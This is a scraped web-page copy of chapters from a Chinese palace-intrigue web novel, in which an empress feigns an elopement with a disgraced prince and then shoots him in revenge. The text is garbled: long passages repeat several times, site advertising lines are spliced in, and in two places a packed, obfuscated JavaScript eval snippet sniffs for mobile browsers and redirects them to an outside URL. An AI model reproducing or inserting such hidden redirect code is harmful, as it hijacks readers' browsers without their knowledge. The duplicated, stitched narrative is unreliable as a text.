他尴尬地咳了咳,沉默了一会儿,“你把我当什么了?我又不是对任何人都有兴致。那个长舌妇,我没兴致。你不会怀疑我不举吧?难怪方才让我喝补汤!你居然小瞧你男人!” 云清婳微微一怔,她惊讶道:“所以你真的……” 他连忙打断她的话,“我没有!你方才不是检查了吗?我面对你的时候,不是好好的?!” 云清婳有点理解他了。 任何事情变成任务,都会变得索然无味。 但作为小说男主,年轻气盛的,面对女人不举,还是很好笑。 思及此,她的嘴角微微抽搐。 “蛮蛮,你笑什么?”裴墨染有些气急败坏,“我心疼娘子病弱,娘子居然误会我,我就不该怜惜你。” 裴墨染将她扑倒。 云清婳挣不过他,只能被迫承受他的强势。 裴墨染念着她身上的毒才解,尽管体内欲望翻涌,但没敢折腾太久,就叫了凉水。 云清婳想着裴墨染禁禁欲也好,别把身子折腾坏了,将来不能给她儿子打工了。 说不定将来还要打仗呢。 到时候免不了御驾亲征。 …… 春狩很快就来了。 冬去春来,万物复苏。 此次狩猎,规矩繁多,为了顺应天时,只许狩猎,但不可捕杀。 此行至少一个月,云清婳要做的事太危险,所以故意不带承基、辞忧。 两个小奶包委屈坏了,眼泪流了一次又一次。 “围场太危险了,娘亲也是担心你们受伤,等你们长大了,让爹爹教你们骑射。”云清婳递给他们一人一块奶糕。 “嗯。”承基、辞忧咬了口奶糕,他们的鼻尖泛红,眼泪从浓密的睫毛上坠下。 裴墨染蹲下身,给他们揩去脸上的泪痕,“承基、辞忧,爹爹抓些小动物回来养着玩?你们想要什么?” 辞忧的眼睛蹭的亮了,她字正腔圆道:“老虎!” 裴墨染:…… “你放过你爹吧。”云清婳轻笑。 “老虎可不行。”裴墨染认真想了,他就算抓回来,也不能让辞忧养。 承基道:“我要花枝鼠。” 云清婳膈应地咧嘴,嫌 弃不已。 俩孩子没一个有品位的。 “好。”裴墨染一口应下了。 他后知后觉地看向云清婳“蛮蛮可以吗?” 云清婳撇了他一下“你都答应孩子了不可以也不行了。” …… 云清婳跟裴墨染以及皇亲国戚、朝廷重臣都去了木兰围场。 这里的草原平坦一望无垠草原的尽头是天空 落日撒下金黄色的余晖落在曲折的河面上闪着粼粼波光。 狩猎伊始前裴墨染按照规矩祭天。 云清婳站在上首的台阶之下与人群中的裴云澈隔空对望。 仅一眼二人便确定了心意。 云清婳的心跳陡然加快这是兴奋…… 姐姐的仇很快就能报了。 祭祀完成众人兴奋地背上了箭羽牵着马准备大展身手。 云清婳远远看见了云蓉。 她跟靖王不知在争执什么靖王脸上的巴掌印格外晃眼。 裴墨染走近云清婳搂住她的肩膀戏谑道:“十皇弟真是的又惹王妃生气了不像我我只会讨蛮蛮高兴。” 她瞥了他一眼。 挨一巴掌狗男人就老实了。 “夫君火器呢?”她伸出手。 裴墨染正色道:“在营帐放着呢但是我在你才能用我担心走火。蛮蛮你得向我保证。” “我保证。”她乖顺道。 反正她的保证没有任何效用。 裴墨染颔首他正欲带她去狩猎诸葛贤跟一众内阁大臣便将他叫走。 他愧疚了看着她。 云清婳得体的笑道:“我等夫君。” 他轻拍她的手背。 …… 裴墨染一连好几日都脱不开身哪怕春猎他也忙得宵衣旰食连营帐都没发出。 奏折堆积如山。 这给了云清婳极大的便利。 当晚她便从榻下的木盒中取出了火铳藏在袖中。 她穿着素面中衣披着火红的披风跟飞霜一同去了厨房。 二人在厨房忙活起来做起了宵夜。 夜深人静时厨房飘出了 阵阵香味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508227|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不知何时,人影从两个变成了一个。 披着披风的人换成了飞霜…… …… 深林中,云清婳跟裴云澈会面。 他穿着侍卫的飞鱼服,并不引人注意。 裴云澈一把将云清婳抱进怀中,他的双臂十分用力,像是恨不得将她融入骨血。 “蛮蛮,你不生我的气了对不对?”裴云澈哑声道。 云清婳邪气的勾起嘴角。 她当然不生气了,因为你马上就要**。 “我若是还生气,怎会选择放弃一切,与你私奔?”她抓住他的手。 裴云澈颔首,“放心吧,我找以前的旧部帮忙清扫了一切路障,这条路是才开出来的,无人知晓。从这条路绕下山,有人接应,天亮便能到下一座城池。” 他握住她的手,快步带她离开,“这个时辰正值换岗,值守困乏,是最松动的时候,只要拐下山我们就安全了。” 这一路着实顺利,没人打扰,由此可见,裴云澈为了私奔是下了一番功夫。 云清婳都有些担心了。 不会真让裴云澈私奔成功了吧? “裴郎当真愿意为我放弃一切?”云清婳忽然慢下了脚步。 裴云澈回头看着她,眼神复杂。 其中夹杂着让云清婳看不懂的情绪。 他的脚步停驻,目光有些冷,“我已经走投无路了,就算蛰伏隐忍,厚积薄发,也需要十年光景。我等不起,我不愿与你分别十年。” “可是蛮蛮,你真的愿意跟我私奔吗?”他一反常态,声音有些冷硬。 似乎恢复到了曾经隐忍克制,对她诸多防备的时候。 云清婳有些迷茫。 她不懂裴云澈为何会突然产生这种疏离的情绪,她警惕地攥紧了袖中的火铳。 “你跟裴墨染琴瑟和鸣,感情甚笃,我都看在眼里。”裴云澈的醋意四溢。 原来是吃醋了。 “裴郎,我永远不会忘记我们的第一个孩子。”云清婳与他十指相扣,“裴墨染已经有了天下,有了孩子。可是裴郎,你只有我了。倘若连我都选择裴墨染,你该怎么办?” 裴云澈的心像被一根钉子扎了进去,他心口一痛,眼神中闪烁着水光。 第391章 裴云澈**吗? 他忽然没头没尾地说:“蛮蛮,我们忘掉以前的一切好不好?我安顿好了一切,日后只有你跟我,再也没有旁人。我们会是天地间最恩爱的夫妻。” 她颔首,“快走吧。” 裴云澈拉着她继续赶路,他的双眼泛红,眸中复杂的情绪翻涌。 寂静的林中只有脚步沙沙的声音。 …… 另一边,飞霜去往印有龙纹的营帐中送了夜宵。 她做了鸡汤跟小菜,完全足够分给诸葛贤等人吃。 “皇后真体恤皇上。”一个将军打趣。 裴墨染的脸色却阴沉下来,他蹙眉,腾的起身。 他掀开营帐走了出去,双眼刺向飞霜,“皇后呢?春寒料峭,夜深了,她身子不舒服的话,不必准备这些。” “主子心疼皇上。”飞霜福福身。 裴墨染的眸色沉沉,他盯着飞霜,眼神犀利尖锐,不知在想什么。 忽的,福松气喘吁吁跑了过来。“不好了,不好了……” 飞霜扭转过身,“怎么了?” “陛下,不好了,不好了……”福松一步三喘,腰都直不起来。 裴墨染急声问:“何事?蛮蛮怎么了?” “皇后娘娘不见了,在河边发现了其他人的脚印……”福松扑通一声跪在地上。 飞霜福至心灵般半张开嘴,她的眼泪掉了出来,“方才主子说太热了,想去河边透透气……都怪奴婢,奴婢应该跟过去的……” 裴墨染的胳膊轻颤,他低吼:“快派人找!” “是!” …… 一炷香的功夫过去,就在拐过小路时,眼前的路豁然开朗。 裴云澈吐出一口浊气。 “接下来的守卫不多,我们安全了。”他脱下外袍,披在云清婳的肩膀上,“是不是太累了?我扶着你慢慢走。” 云清婳颔首。 她不禁有些担心…… 狗男人到底行不行? 不会真让裴云澈成功逃脱吧? 正想着,远处传来了马蹄声。 火把的光亮离他们越来越近。 云清婳惊慌地扑进裴云澈的怀里,“裴郎,怎么办?他们好像追上来了。” 裴云澈轻 拍她的背脊他的眼神坚定“我们先走!” “都听裴郎的。”云清婳悬着的心终于放下。 她牵着裴云澈的手与他往山下奔跑。 绣花鞋跑掉了鞋袜被石子划破将脚底硌出血她也没停似乎当真下定决心想要与裴云澈私奔。 山风呼呼地朝他们脸上吹她脑后的青丝翻飞。 裴云澈很快发现了她脚上的伤他放慢了脚步“蛮蛮我背你吧。” “没事的裴郎无需顾及我我们快走吧。”云清婳红着眼似乎忍痛到了极限。 裴墨染扶着她放慢了脚步“蛮蛮我前半生循规蹈矩磊落光明从未行失踏错半步直到遇见了你。我早知会有今日但我从不后悔。” “我也不后悔。”她露出标志性的笑抬起头看向他。 月光下裴云澈的脸看不清明云清婳只能朦胧地看着他的表情。 她从他的脸上感受到了几分苦涩。 裴云澈缓缓停住了脚步四边八方的马蹄声越来越近将他们团团围住。 已经无路可逃了山下也是侍卫。 裴云澈放弃了抵抗亦或者说他从未想过反抗。 “裴郎劫持我你快走吧。”云清婳将发间的金簪塞进他的手里。 裴云澈用锋利的簪尾抵住云清婳的脖颈。 “都给本王让开!”他的声音低沉。 裴墨染骑着马从暗处现身。 看到眼前的一幕 “给本王一匹马让开一条道本王要下山。”裴云澈强势的低吼。 裴墨染看着云清婳的眼泪心跳越来越快。 他不敢赌! 谁知道裴云澈这个走投无路的疯子会对蛮蛮做什么? “按他说的做。”裴墨染轻扬下巴。 “是。”一个侍卫下马将缰绳递给裴云澈。 其他侍卫让开一条道。 裴云澈劫持着云清婳步步后退。 他牵着马谨慎地面对侍卫走了很远。 “快走别管我。”云清婳用气音道。 “嗯。”裴云澈松开她 翻身上马,调转马头就往山下跑。 裴墨染立即朝云清婳奔来,“蛮蛮……受伤没有?他有没有欺负你?” “夫君呜呜……”云清婳扑进他的怀中痛哭。 裴墨染的心脏抽疼,他的双臂加大力度将她搂紧,“别怕了,没事了,没事了……” 咻—— 暗处的锦衣卫放箭。 一支箭羽穿林飞过,射中了裴云澈的后背。 咚—— 裴云澈坠马。 云清婳的眼中闪过兴奋的光。 “别怕……”裴墨染将她身上的衣袍丢到一边,将身上的龙袍脱下,将她的身子紧紧裹起来。 他这才发现她染血的袜子,“蛮蛮,你受伤了。” 她眼中噙着泪,“我给夫君添麻烦了。” “我心疼都快心疼**,什么麻烦不麻烦的?”裴墨染打横将她抱起来。 回到营帐后,裴墨染立即将她放到榻上,他蹲下身,给她清理脚心的伤口。 她的脚实在太嫩,被硌破不说,伤口里还嵌着小石子。 蛮蛮这么娇气,一定很疼。 他心疼的心颤,双手颤抖,一时之间竟不知该如何处理。 在战场在,他什么伤没受过? 可蛮蛮的脚被划破了,他的脑海一片空白,束手无策。 他怕她疼。 裴墨染轻轻吹着伤口,“是不是好疼?一会儿等医女来处理,我不敢碰。” “都怪我,我忽略了你,所以才害你被裴云澈这**掳走……” 云清婳的身躯轻颤,似乎还在惊吓的余韵中没缓过来。 很快,医女就来了。 裴墨染在一旁指指点点,“你手轻一点!” “有没有麻沸散之类的?” “你学医几年了?” 医女被吓出了眼泪,跪在地上发抖,让裴墨染火气更大了。 云清婳无奈地瞥着他,“夫君,你先出去吧,别把大夫吓坏了。” 裴墨染只好离开。 没人干扰,医女很快就放平了心态,手法熟稔地处理好了云清婳的伤口,给她包扎完毕。 帐外传来了说话声,“裴云澈**吗?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 翻身上马,调转马头就往山下跑。 裴墨染立即朝云清婳奔来,“蛮蛮……受伤没有?他有没有欺负你?” “夫君呜呜……”云清婳扑进他的怀中痛哭。 裴墨染的心脏抽疼,他的双臂加大力度将她搂紧,“别怕了,没事了,没事了……” 咻—— 暗处的锦衣卫放箭。 一支箭羽穿林飞过,射中了裴云澈的后背。 咚—— 裴云澈坠马。 云清婳的眼中闪过兴奋的光。 “别怕……”裴墨染将她身上的衣袍丢到一边,将身上的龙袍脱下,将她的身子紧紧裹起来。 他这才发现她染血的袜子,“蛮蛮,你受伤了。” 她眼中噙着泪,“我给夫君添麻烦了。” “我心疼都快心疼**,什么麻烦不麻烦的?”裴墨染打横将她抱起来。 回到营帐后,裴墨染立即将她放到榻上,他蹲下身,给她清理脚心的伤口。 她的脚实在太嫩,被硌破不说,伤口里还嵌着小石子。 蛮蛮这么娇气,一定很疼。 他心疼的心颤,双手颤抖,一时之间竟不知该如何处理。 在战场在,他什么伤没受过? 可蛮蛮的脚被划破了,他的脑海一片空白,束手无策。 他怕她疼。 裴墨染轻轻吹着伤口,“是不是好疼?一会儿等医女来处理,我不敢碰。” “都怪我,我忽略了你,所以才害你被裴云澈这**掳走……” 云清婳的身躯轻颤,似乎还在惊吓的余韵中没缓过来。 很快,医女就来了。 裴墨染在一旁指指点点,“你手轻一点!” “有没有麻沸散之类的?” “你学医几年了?” 医女被吓出了眼泪,跪在地上发抖,让裴墨染火气更大了。 云清婳无奈地瞥着他,“夫君,你先出去吧,别把大夫吓坏了。” 裴墨染只好离开。 没人干扰,医女很快就放平了心态,手法熟稔地处理好了云清婳的伤口,给她包扎完毕。 帐外传来了说话声,“裴云澈**吗?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 翻身上马调转马头就往山下跑。 裴墨染立即朝云清婳奔来“蛮蛮……受伤没有?他有没有欺负你?” “夫君呜呜……”云清婳扑进他的怀中痛哭。 裴墨染的心脏抽疼他的双臂加大力度将她搂紧“别怕了没事了没事了……” 咻—— 暗处的锦衣卫放箭。 一支箭羽穿林飞过射中了裴云澈的后背。 咚—— 裴云澈坠马。 云清婳的眼中闪过兴奋的光。 “别怕……”裴墨染将她身上的衣袍丢到一边将身上的龙袍脱下将她的身子紧紧裹起来。 他这才发现她染血的袜子“蛮蛮 她眼中噙着泪“我给夫君添麻烦了。” “我心疼都快心疼**什么麻烦不麻烦的?”裴墨染打横将她抱起来。 回到营帐后裴墨染立即将她放到榻上他蹲下身给她清理脚心的伤口。 她的脚实在太嫩被硌破不说伤口里还嵌着小石子。 蛮蛮这么娇气一定很疼。 他心疼的心颤双手颤抖一时之间竟不知该如何处理。 在战场在他什么伤没受过? 可蛮蛮的脚被划破了他的脑海一片空白束手无策。 他怕她疼。 裴墨染轻轻吹着伤口“是不是好疼?一会儿等医女来处理我不敢碰。” “都怪我我忽略了你所以才害你被裴云澈这**掳走……” 云清婳的身躯轻颤似乎还在惊吓的余韵中没缓过来。 很快医女就来了。 裴墨染在一旁指指点点“你手轻一点!” “有没有麻沸散之类的?” “你学医几年了?” 医女被吓出了眼泪跪在地上发抖让裴墨染火气更大了。 云清婳无奈地瞥着他“夫君你先出去吧别把大夫吓坏了。” 裴墨染只好离开。 没人干扰医女很快就放平了心态手法熟稔地处理好了云清婳的伤口给她包扎完毕。 帐外传来了说话声“裴云澈**吗?” 你的朋友正在书荒,快去帮帮他吧 翻身上马,调转马头就往山下跑。 裴墨染立即朝云清婳奔来,“蛮蛮……受伤没有?他有没有欺负你? “夫君呜呜……云清婳扑进他的怀中痛哭。 裴墨染的心脏抽疼,他的双臂加大力度将她搂紧,“别怕了,没事了,没事了…… 咻—— 暗处的锦衣卫放箭。 一支箭羽穿林飞过,射中了裴云澈的后背。 咚—— 裴云澈坠马。 云清婳的眼中闪过兴奋的光。 “别怕……裴墨染将她身上的衣袍丢到一边,将身上的龙袍脱下,将她的身子紧紧裹起来。 他这才发现她染血的袜子,“蛮蛮,你受伤了。 她眼中噙着泪,“我给夫君添麻烦了。 “我心疼都快心疼**,什么麻烦不麻烦的?裴墨染打横将她抱起来。 回到营帐后,裴墨染立即将她放到榻上,他蹲下身,给她清理脚心的伤口。 她的脚实在太嫩,被硌破不说,伤口里还嵌着小石子。 蛮蛮这么娇气,一定很疼。 他心疼的心颤,双手颤抖,一时之间竟不知该如何处理。 在战场在,他什么伤没受过? 可蛮蛮的脚被划破了,他的脑海一片空白,束手无策。 他怕她疼。 裴墨染轻轻吹着伤口,“是不是好疼?一会儿等医女来处理,我不敢碰。 “都怪我,我忽略了你,所以才害你被裴云澈这**掳走…… 云清婳的身躯轻颤,似乎还在惊吓的余韵中没缓过来。 很快,医女就来了。 裴墨染在一旁指指点点,“你手轻一点! “有没有麻沸散之类的? “你学医几年了? 医女被吓出了眼泪,跪在地上发抖,让裴墨染火气更大了。 云清婳无奈地瞥着他,“夫君,你先出去吧,别把大夫吓坏了。 裴墨染只好离开。 没人干扰,医女很快就放平了心态,手法熟稔地处理好了云清婳的伤口,给她包扎完毕。 帐外传来了说话声,“裴云澈**吗? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 翻身上马调转马头就往山下跑。 裴墨染立即朝云清婳奔来“蛮蛮……受伤没有?他有没有欺负你?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴墨染立即朝云清婳奔来,“蛮蛮……受伤没有?他有没有欺负你?” “夫君呜呜……”云清婳扑进他的怀中痛哭。 裴墨染的心脏抽疼,他的双臂加大力度将她搂紧,“别怕了,没事了,没事了……” 咻—— 暗处的锦衣卫放箭。 一支箭羽穿林飞过,射中了裴云澈的后背。 咚—— 裴云澈坠马。 云清婳的眼中闪过兴奋的光。 “别怕……”裴墨染将她身上的衣袍丢到一边,将身上的龙袍脱下,将她的身子紧紧裹起来。 他这才发现她染血的袜子,“蛮蛮,你受伤了。” 她眼中噙着泪,“我给夫君添麻烦了。” “我心疼都快心疼**,什么麻烦不麻烦的?”裴墨染打横将她抱起来。 回到营帐后,裴墨染立即将她放到榻上,他蹲下身,给她清理脚心的伤口。 她的脚实在太嫩,被硌破不说,伤口里还嵌着小石子。 蛮蛮这么娇气,一定很疼。 他心疼的心颤,双手颤抖,一时之间竟不知该如何处理。 在战场在,他什么伤没受过? 可蛮蛮的脚被划破了,他的脑海一片空白,束手无策。 他怕她疼。 裴墨染轻轻吹着伤口,“是不是好疼?一会儿等医女来处理,我不敢碰。” “都怪我,我忽略了你,所以才害你被裴云澈这**掳走……” 云清婳的身躯轻颤,似乎还在惊吓的余韵中没缓过来。 很快,医女就来了。 裴墨染在一旁指指点点,“你手轻一点!” “有没有麻沸散之类的?” “你学医几年了?” 医女被吓出了眼泪,跪在地上发抖,让裴墨染火气更大了。 云清婳无奈地瞥着他,“夫君,你先出去吧,别把大夫吓坏了。” 裴墨染只好离开。 没人干扰,医女很快就放平了心态,手法熟稔地处理好了云清婳的伤口,给她包扎完毕。 帐外传来了说话声,“裴云澈**吗?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 翻身上马,调转马头就往山下跑。 裴墨染立即朝云清婳奔来,“蛮蛮……受伤没有?他有没有欺负你?” “夫君呜呜……”云清婳扑进他的怀中痛哭。 裴墨染的心脏抽疼,他的双臂加大力度将她搂紧,“别怕了,没事了,没事了……” 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节) 咻—— 暗处的锦衣卫放箭。 一支箭羽穿林飞过,射中了裴云澈的后背。 咚—— 裴云澈坠马。 云清婳的眼中闪过兴奋的光。 “别怕……”裴墨染将她身上的衣袍丢到一边,将身上的龙袍脱下,将她的身子紧紧裹起来。 他这才发现她染血的袜子,“蛮蛮,你受伤了。” 她眼中噙着泪,“我给夫君添麻烦了。” “我心疼都快心疼**,什么麻烦不麻烦的?”裴墨染打横将她抱起来。 回到营帐后,裴墨染立即将她放到榻上,他蹲下身,给她清理脚心的伤口。 她的脚实在太嫩,被硌破不说,伤口里还嵌着小石子。 蛮蛮这么娇气,一定很疼。 他心疼的心颤,双手颤抖,一时之间竟不知该如何处理。 在战场在,他什么伤没受过? 可蛮蛮的脚被划破了,他的脑海一片空白,束手无策。 他怕她疼。 裴墨染轻轻吹着伤口,“是不是好疼?一会儿等医女来处理,我不敢碰。” “都怪我,我忽略了你,所以才害你被裴云澈这**掳走……” 云清婳的身躯轻颤,似乎还在惊吓的余韵中没缓过来。 很快,医女就来了。 裴墨染在一旁指指点点,“你手轻一点!” “有没有麻沸散之类的?” “你学医几年了?” 医女被吓出了眼泪,跪在地上发抖,让裴墨染火气更大了。 云清婳无奈地瞥着他,“夫君,你先出去吧,别把大夫吓坏了。” 裴墨染只好离开。 没人干扰,医女很快就放平了心态,手法熟稔地处理好了云清婳的伤口,给她包扎完毕。 帐外传来了说话声,“裴云澈**吗?” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第392章 一切都快结束了 “陛下放心,方才属下射中的是他的肩膀。” “嗯。”裴墨染的手攥得咔咔作响。 他当然想裴云澈这个不知廉耻的****,但他答应过父皇不取裴云澈性命。 这件事已经不是秘密了。 倘若裴云澈死在他手里,岂不会给人留下话柄,说他不敬先帝,忤逆先帝? 裴云澈可以死,但绝对不能死在他的手里。 云清婳的眼神倏地变得幽怨。 裴云澈这个**! 命真大啊! 裴墨染这个狗男人,每次都给她希望,再让她失望。 看来还是得按照原计划来。 不一会儿,裴墨染端着安神药走进了营帐,“蛮蛮,喝些安神药,睡醒了就不怕了。” 云清婳倚靠在床头,眉眼低垂,面色惨白,“裴云澈……怎么样了?” 她说话温吞,声音跟猫儿似的,像是吓惨了。 “他中了一箭,还活着呢。”裴墨染舀了一勺药,吹温后送到她嘴边,“他必须死,但不能死在我手里,过段时间,我派人将他暗杀了。” 裴墨染的眼中泄出寒光。 云清婳的嘴角抽了抽,险些绷不住扯出冷笑。 这话,他说过多少遍了?他自己记得吗? 迟则生变! 时间久了,恨意淡了,总会有这样那样的理由让他舍不得动手。 “夫君还要留他多久?过段时间是多久?”她凝视他的双眼。 裴墨染知道她被吓惨了,所以才会这么担心,“再给我半年好吗?” “……”云清婳颔首。 半年? 别开玩笑了! 半天她都忍不了。 好在她压根没在裴墨染身上抱什么希望,否则她不得气吐血? 今夜的事,一定会不胫而走。 是裴云澈掳走皇后不对在先,所以她不论做什么,也是情有可原。 这出前戏,是为了给她开脱。 真正的重头戏在后面。 裴墨染喂完安神药后,王显便一遍遍来催,说边关有急报传来。 “滚!”他低吼。 裴墨染扶着云清婳躺下,给她掖了掖被角,“蛮蛮,我等你睡下再走, 有我在,你别怕。 她颔首。 过了一盏茶的功夫,云清婳的眼皮子变得沉重,她缓缓阖上双眼,呼吸均匀。 裴墨染看着她平静的睡颜,心中满是心疼跟愧疚。 他俯下身,吻落在云清婳的眉心。 他吹灭了灯,蹑手蹑脚地离开了。 黑暗中,云清婳睁开了眼。 飞霜走了进来,“主子,您没事吧? “我没事,快点吧,我们的时间不多了。云清婳边说边脱下衣服。 飞霜也将身上的宫装脱下。 二人交换了衣物,云清婳梳了婢女的宫髻。 “主子,奴婢在看守裴云澈的侍卫的酒水里下了药,应该一会儿就发作了,您的动作一定要快。飞霜提醒。 云清婳有些奇怪。 飞霜给这些侍卫下药这么容易吗? 但这些都不重要了。 她不怕留下破绽。 一切都快要结束了…… 她没有多想,藏好火铳,低垂着脑袋,快步离开营帐。 看守裴云澈的地方,在一处偏远的山洞。 云清婳在远处的草丛里蹲下,掩藏起来,打量着周围的一切。 她看见裴墨染带人从山洞离开。 没一会儿,看守山洞的六个侍卫昏昏欲睡,倒了下去。 云清婳看准时机,走了过去。 她才接近山洞,身后便传来沉重的脚步声。 “蛮蛮…… 云清婳的心肝轻颤,她警觉地转过身。 谢泽修提着灯笼,忧郁地看着她,“回去吧。 “原来是表哥,难怪今晚这么顺利。她轻巧一笑,似乎只是来游玩的。 谢泽修看她的眼神中满是心疼,“我来吧,这本该是我的仇。 她摇摇头,“不行,谋害皇室中人,若是东窗事发,谢家会遭殃的,可我不一样。 “可是…… “没有可是!表哥若是想保护我,请你现在离开,装作什么都不知道。说着,云清婳毅然转身,走进了山洞。 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“这世上没有什么值得我珍惜包括父皇、母后我都不在意。直到遇见了你你与我心意相通就像是知己赏画赋诗唯有你懂我的意趣看见你就像在照镜子。” “很早之前我便知道我们是同一种人这世间只有蛮蛮才与我般配。蛮蛮无论嫁给谁都会幸福。可我这么自私薄情的人只有娶到蛮蛮才会幸福。” 砰—— 一股**的硝烟味在空中弥散。 裴云澈的腹部被打穿了。 他低下头他的腹部多了一个血窟窿。 血汩汩的流染红了他白若素纨的中衣。 云清婳不知是兴奋还是怎的眼泪止不住的落她抬起脸笑得癫狂“现在你还幸福吗?” 一颗泪从裴云澈的眼中坠落落在了云清婳的鼻尖。 他单手捂着腹部的血窟窿可血实在太多根本堵不住就像是泄了的水堤。 “能死在蛮蛮手里我是幸福的。”他的双腿一软向后摔在地上。 云清婳站在原地居高临下地睨他眼中一派冷漠。 第393章 他是**的? 裴云澈的嘴角含笑,眼泪在眼窝处汇聚,他似乎攒够了浑身的力气,颤声道:“蛮蛮,快走,记得擦去火铳上的血……” 她歪着脑袋,对他的反应很是不解。 “快走……”裴云澈咬着后槽牙,他不知哪来的气力从怀里掏出了一把**。 他将**捅进了血窟窿里一转。 新伤盖住了旧伤。 云清婳目露震惊。 确定他必死无疑后,她转身就走。 终于,一切都结束了。 她的眼泪止不住地落,大仇得报,她以为她会欣喜若狂,可复仇成功的快感只在开枪的一瞬间。 随后心口传来莫名的堵涨。 就算裴云澈死一百次,姐姐跟顾笛风也活不过来了。 裴云澈望着她远去的背影,视线逐渐模糊,他的眼前突然闪现了许多事。 少年时,他跟裴墨染一起上学,穿过御花园时,那天的花开得很艳丽…… 画面一转,父皇将他高高举起来,说大昭的将来要系在他的身上了。 之后便是跟蛮蛮泛舟游湖、品茗赏画、诗会切磋…… 眼前的画面,又来到去年秋狝,蛮蛮问他,对顾笛风有没有愧意。 当时,他说顾笛风活该。 但现在,他想,他遭到报应了。 他跟顾笛风一样,永远也不能跟心爱之人在一起。 …… 火铳的声音不小,好在有谢泽修的掩护,在巡逻的士兵发现之前,云清婳就逃回了营帐。 她跟飞霜很快就换回了各自的衣物。 飞霜将火铳上的血渍擦去,不安地将火铳放回床下的木盒里。 “主子,为何一定要用火铳杀掉裴云澈?”她的眼神盛满了担忧。 火铳的后患无穷啊,很容易就查到她们身上。 黑暗中,云清婳平躺在榻上,双眼一眨不眨地盯着营帐顶,“男女气力悬殊,我怕用**会被裴云澈反杀。” 但结果证明,是她多虑了。 飞霜颔首,可拧紧的眉心仍旧没有松开,“裴云澈死于火铳,会不会查到咱们身上?” “裴云澈做出**的假象了,裴墨染就算查到他并非**,应该也会顺水推舟,不会深究。” 因为深究下去,对他们谁都没有好处。 杀死裴云澈的火铳,可是裴墨染自己的。 就算裴墨染想要查个水落石出,但他敢吗? 飞霜钦佩地看着云清婳,都到这个时候了,主子还是没有全心全意的信任这两个男人其中的任何一个。 心思缜密到了极致。 主子的所作所为看似都是破绽,但都给自己留足了后路! 飞霜吁出了一口气,“只是东窗事发后,主子跟皇上的情分就要被消磨了。 “你瞧你,又在说傻话,情分是什么重要的东西吗?云清婳轻嗤。 等苏采薇一死,一切的一切都结束了。 她要裴墨染的情意有什么用? 她不想再曲意迎奉任何人了! 飞霜自知失言,她抿住了唇。 是啊,主子向来清醒,皇上的情意从来不是她稀罕的。 …… 另一边。 裴墨染正在营帐中跟诸葛贤商讨边关急报。 乾风急吼吼跑来,“陛下,不好了,裴云澈自尽了。 “什么?裴墨染腾地站起身。 乾风双眼写满了笃定,“属下亲眼所见,他的腹部被捅进了一把**,右手还握着把柄。 裴墨染的剑眉微微蹙起,他负着手,神色波澜诡谲,阴沉得让人喘不过气。 “陛下以为贤王之死有蹊跷?诸葛贤拱手道。 “有没有蹊跷,看了就知道了。说着,裴墨染大步流星地离开营帐。 他与裴云澈虽说**了,但毕竟做了二十多年兄弟,彼此还是了解的。 裴云澈心高气傲,自视甚高,他怎会选择在山洞里草草自尽,这般**憋屈的死法? 更何况,裴云澈心知肚明,他在短期内不会死。 他何苦自我了结? 山洞中,裴墨染看着已经冷硬的尸体,眼神中充满了疑惑。 地上的裴云澈面无血色,他单手捂着腹部,面容安详,嘴角甚至还弯起了不明显的弧度。 纵使见过千千万万的尸体,但这样的死态,裴墨染还是头一回见。 这倒像是从容赴死。 “陛下,莫不是贤王自视清高,不想再受制 于人,所以自我了断?乾风拱手分析。 裴墨染眼中满是不认可。 他命人挪开裴云澈的手,看到裴云澈腹部的血洞时,他的瞳孔紧缩。 “方才可曾听到火器声?裴墨染的声音带着寒气。 乾风颔首,“属下问了,是火器营的一个侍卫,他的火铳在夜里走火了,好多人都看见了。 裴墨染的眸子幽幽的,让人猜不透他的心情好坏,“贤王自尽,也不算朕失信于父皇。即刻将贤王运回贤王府,三日后把他风光大葬了。 “是。乾风拱手。 “且慢。诸葛贤的眼中闪过睿智的光,“陛下,贤王自戕,传出去有损皇家威严,三日后火葬吧。 山洞中陷入了良久的沉默,好一会儿,裴墨染颔首。 …… 翌日。 云清婳醒来后胃口大开,她坐在桌前,兴致勃勃道:“飞霜,我想吃涮肉、烤羊腿、点心、炒菜、酒酿丸子…… 飞霜心疼地看着她。 主子又开始暴饮暴食了。 这不对劲。 主子向来克制,只有受了刺激才会如此恣意。 “主子,您的心情不好? “不,我高兴啊!给姐姐报仇了,我怎会不高兴?云清婳的双眼笑成了一对弯月牙。 美则美矣,可却那么的空洞。 就像是一尊美得惊心动魄的白瓷雕塑。 飞霜欲言又止,她立即下去宣膳。 少顷,各种菜肴连绵不绝地端进了营帐。 云清婳大快朵颐地吃了起来,她想哭,但更想笑。 姐姐,我做到了。 我终于报仇了! 伤害你的人,都遭到报应了! 裴墨染一晚上都心不在焉,他趁着诸葛贤精力不济时,抽空回了营帐。 看到云清婳的面前摆了满桌的菜,登时有些惊讶,“蛮蛮,你这是……? “我饿了。她捏着筷子边吃边说。 裴墨染吃惊的看着她,他知道她的胃口好,可却第一次亲眼看见她的胃口这么好。 他遥想之前因为赤阳王的事,蛮蛮跟他冷战数日,蛮蛮也是回了相府这般暴食。 “蛮蛮,发生什么了?他担心的问。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 于人,所以自我了断?”乾风拱手分析。 裴墨染眼中满是不认可。 他命人挪开裴云澈的手,看到裴云澈腹部的血洞时,他的瞳孔紧缩。 “方才可曾听到火器声?”裴墨染的声音带着寒气。 